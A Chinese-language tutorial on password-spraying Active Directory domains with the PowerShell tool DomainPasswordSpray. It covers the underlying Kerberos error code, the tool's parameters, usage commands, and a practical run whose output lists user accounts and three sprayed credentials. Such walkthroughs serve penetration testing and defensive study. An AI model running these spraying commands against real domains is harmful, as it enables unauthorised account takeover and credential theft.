Password Spraying
原理
- 本質上,通過以下Kerberos錯誤代碼來加以利用
|用戶狀態|Kerberos錯誤|
|----|----|
|密碼錯誤|KDC_ERR_PREAUTH_FAILED|
利用
DomainPasswordSpray
DomainPasswordSpray是用PowerShell編寫的工具,用於對域用戶執行密碼噴灑攻擊。默認情況下,它將利用LDAP從域中導出用戶列表,然后扣掉被鎖定的用戶,再用固定密碼進行密碼噴灑
以下內容來自:https://payloads.online/archivers/2018-05-02/1
GitHub項目地址:https://github.com/dafthack/DomainPasswordSpray
由於作者的腳本有一個小瑕疵,故此我改了一下,避免拋出了一些錯誤。
優化后的地址:http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt
0x02 參數說明
在代碼的開頭就已經有介紹了,我簡單漢化一下。
描述:該模塊主要用於從域中收集用戶列表。
- 參數:
Domain
指定要測試的域名 - 參數:
RemoveDisabled
嘗試從用戶列表刪除禁用的賬戶 - 參數:
RemovePotentialLockouts
刪除鎖定賬戶 - 參數:
UserList
自定義用戶列表(字典)。 如果未指定,這將自動從域中獲取 - 參數:
Password
指定單個密碼進行口令測試 - 參數:
PasswordList
指定一個密碼字典 - 參數:
OutFile
將結果保存到某個文件 - 參數:
Force
當枚舉出第一個后繼續枚舉,不詢問
0x03 使用說明
使用例子:
C:\PS> Get-DomainUserList
該命令將從域中收集用戶列表。
C:\PS> Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
該命令將收集域“域名”中的用戶列表,包括任何未被禁用且未接近鎖定狀態的帳戶。 它會將結果寫入“userlist.txt”文件中
C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
該命令將會從域環境中獲取用戶名,然后逐個以密碼Winter2016
進行認證枚舉
C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 -PasswordList passlist.txt -OutFile sprayed-creds.txt
該命令將會從users.txt
中提取用戶名,與passlist.txt
中的密碼對照成一對口令,進行域認證枚舉,登錄成功的結果將會輸出到sprayed-creds.txt
0x04 實戰
獲取域環境中的用戶列表
命令:C:\PS> Get-DomainUserList | Out-File -Encoding ascii userlist.txt
輸出:
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] There are 8 total users found.
[*] Created a userlist containing 8 users gathered from the current user's domain
獲取的用戶名:
C:\PS> type .\userlist.txt
Administrator
Guest
liyingzhe
krbtgt
Hack
testPass
webManager
dba
密碼枚舉
命令: C:\PS> Invoke-DomainPasswordSpray -Domain 域名 -Password w!23456 -OutFile sprayed-creds.txt
輸出:
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] Removing disabled users from list.
[*] There are 6 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 6 users gathered from the current user's domain
[*] Password spraying has begun. Current time is 18:45
[*] This might take a while depending on the total number of users
1 of 6 users tested2 of 6 users tested3 of 6 users tested[*] SUCCESS! User:testPass Password:w!23456
4 of 6 users tested[*] SUCCESS! User:webManager Password:w!23456
5 of 6 users tested[*] SUCCESS! User:dba Password:w!23456
6 of 6 users tested[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to sprayed-creds.txt
枚舉的結果:
C:\PS > type .\sprayed-creds.txt
testPass:w!23456
webManager:w!23456
dba:w!23456